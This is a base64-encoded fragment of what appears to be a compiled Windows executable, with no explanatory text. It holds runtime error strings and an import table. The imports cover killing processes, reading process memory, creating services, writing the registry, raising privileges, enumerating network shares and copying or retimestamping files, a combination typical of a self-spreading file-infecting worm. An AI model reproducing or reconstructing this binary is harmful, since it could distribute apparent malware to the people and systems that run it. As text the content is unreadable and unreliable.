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 av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 